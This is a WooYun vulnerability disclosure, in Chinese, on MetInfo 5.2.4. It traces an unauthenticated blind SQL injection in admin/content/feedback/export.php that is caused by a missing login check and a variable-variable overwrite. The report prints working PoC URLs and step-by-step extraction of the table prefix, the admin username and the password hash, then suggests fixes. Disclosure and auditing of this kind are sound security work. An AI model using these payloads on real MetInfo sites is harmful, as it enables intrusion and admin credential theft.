WooYun-2014-55338:MetInfo最新版(5.2.4)一处SQL盲注漏洞

漏洞作者: Mody

来源:http://www.wooyun.org/bugs/wooyun-2014-055338

简要描述

上周三挖了个metinfo的后台文件包含,被乌云大大给忽略了,好吧,我承认那个洞的确太难用了。。。今天刚挖到一处sql注入,就屁颠屁颠的来乌云提交了,求乌云大大给过,我不要继续当路人甲阿。。。还是上次那句话,貌似metinfo都交给cncert了,弱弱问下,那还有通用性奖励么?

WooYun回答:有!

详细说明

借用http://**.**.**.**/bugs/wooyun-2010-043795的一句话:审计代码我一般喜欢先看核心文件

1. 来看核心的文件admin/include/common.inc.php(下面的代码有我自己添加的调试代码)

/*

 * added by mody

 * glocal register

 */

//print '-----------global register----------<br>';

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {

    foreach($$_request as $_key => $_value) {

        $_key{0} != '_' && $$_key = daddslashes($_value,0,0,1);

        /*

        if(is_array($$_key)){

            print '$'.$_key.'=';

            print_r($$_key);

            print '<br>';

        }

        else print '$'.$_key.'='.$$_key.';<br>';

        */

    }

}

//print '-----------------------------------<br>';

注册全局变量,可以看到所有的变量都经过了daddslashes()过滤

2. 来看看daddslashes()函数,在文件admin/include/global.func.php

/*POST变量转换*/

function daddslashes($string, $force = 0 ,$sql_injection =0,$url =0){

    !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());

    if(!MAGIC_QUOTES_GPC || $force) {

        if(is_array($string)) {

            foreach($string as $key => $val) {

                $string[$key] = daddslashes($val, $force);

            }

        } else {

            $string = addslashes($string);

        }

    }

    if(is_array($string)){

        if($url){

            //$string='';

            foreach($string as $key => $val) {

                $string[$key] = daddslashes($val, $force);

            }

        }else{

            foreach($string as $key => $val) {

                $string[$key] = daddslashes($val, $force);

            }

        }

    }else{

        if(SQL_DETECT!=1 || $sql_injection==1){

            $string = str_ireplace("\"","/",$string);

            $string = str_ireplace("'","/",$string);

            $string = str_ireplace("*","/",$string);

            $string = str_ireplace("~","/",$string);

            $string = str_ireplace("select", "\sel\ect", $string);

            $string = str_ireplace("insert", "\ins\ert", $string);

            $string = str_ireplace("update", "\up\date", $string);

            $string = str_ireplace("delete", "\de\lete", $string);

            $string = str_ireplace("union", "\un\ion", $string);

            $string = str_ireplace("into", "\in\to", $string);

            $string = str_ireplace("load_file", "\load\_\file", $string);

            $string = str_ireplace("outfile", "\out\file", $string);

            $string = str_ireplace("sleep", "\sle\ep", $string);

            $string_html=$string;

            $string = strip_tags($string);

            if($string_html!=$string){

                $string='';

            }

            $string = str_replace("%", "\%", $string);     //   

        }

    }

    return $string;

}

可以看到,是能够传递array变量进来的(前台的include/include/global.func.php 不能)

3. 注入点admin/content/feedback/export.php,这里有亮点啊

这个文件包含了admin/include/common.inc.php,但是却没有进行login_check,所以导致这个文件能够不登录直接访问。如下:

<?php

# MetInfo Enterprise Content Management System 

# Copyright (C) MetInfo Co.,Ltd (http://**.**.**.**). All rights reserved. 

    ob_start();

    $depth='../';

    require_once $depth.'../include/common.inc.php';

    ob_clean();

    ob_start();

接着他进行了一项很危险的操作:

foreach($settings_arr as $key=>$val){

        if($val['columnid']==$class1){

            $tingname    =$val['name'].'_'.$val['columnid'];   //这里导致变量名必须含有下划线的都可以被覆盖

            $$val['name']=$$tingname;

        }

    }

其中,$settings_arr,$class1都可以在common.inc.php中被覆盖,这就导致可以构造一定格式的变量(变量名必须要有下划线)

那么,如何利用,我们来找下面的sql语句,总共有三句,找第一句即可

$query = "SELECT * FROM $met_parameter where module=8 and lang='$lang' order by no_order"; 

         //>>>>注意,$met_parameter是在$settings_arr后被初始化的,不能直接覆盖,但是可以结合上面的危险操作,进行覆盖<<<<

    //print $query.'<br>';

    //die();

    $result = $db->query($query);

    while($list= $db->fetch_array($result)){

        /*

        print '<br><br>$list=';

        print_r($list);

        */

        $feedbackpara[$list['id']]=$list;  // 注意这里的id

        $feedback_para[]=$list;

    }

/////////////////////////////

我是猥琐的poc(其中的met_admin_table的met为metinfo自定义的前缀,可以用户自定义)

http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter

/////////////////////////////

对于查询的到的结果,会写入excel文件内,但是因为列名是规定得死死的,不能直接把admin_table表的password列直接写进excel,但是id是可以的,这就足够进行盲注了

漏洞证明

验证漏洞的存在:

1. 其中met_为我实验环境metinfo的前缀(若要复线请根据实际情况修改), admin_id=0x61646d696e 为字符串'admin'(过滤了单引号)

http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table where admin_id=0x61646d696e -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter

然后测试一组错误的,把'admin'改成'admil'试试

http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table where admin_id=0x61646d696c -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter

结果对比图如下

可以看到两个文件的大小是不一样滴,给大家看看这个excel里到底有啥区别

step1:暴力破解metinfo前缀

用brup进行破解,这个不用我多解释了把,根据返回大小

http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter

step2: 破解admin账户

还是brup,用substr 一个个来

http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table where substr(admin_id,1,1)=0x61 -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter

step3:破解admin密码

同上

http://localhost/MetInfo/admin/content/feedback/export.php?met_parameter_1=met_admin_table where admin_id=0x61646d696e and substr(admin_pass,1,1)=0x32 -- ;&class1=1&settings_arr[0][columnid]=1&settings_arr[0][name]=met_parameter

修复方案

1. include check_login

2. export.php的那个危险的$$注意下

3. 打赏点rank吧,我不用当路人甲阿。。。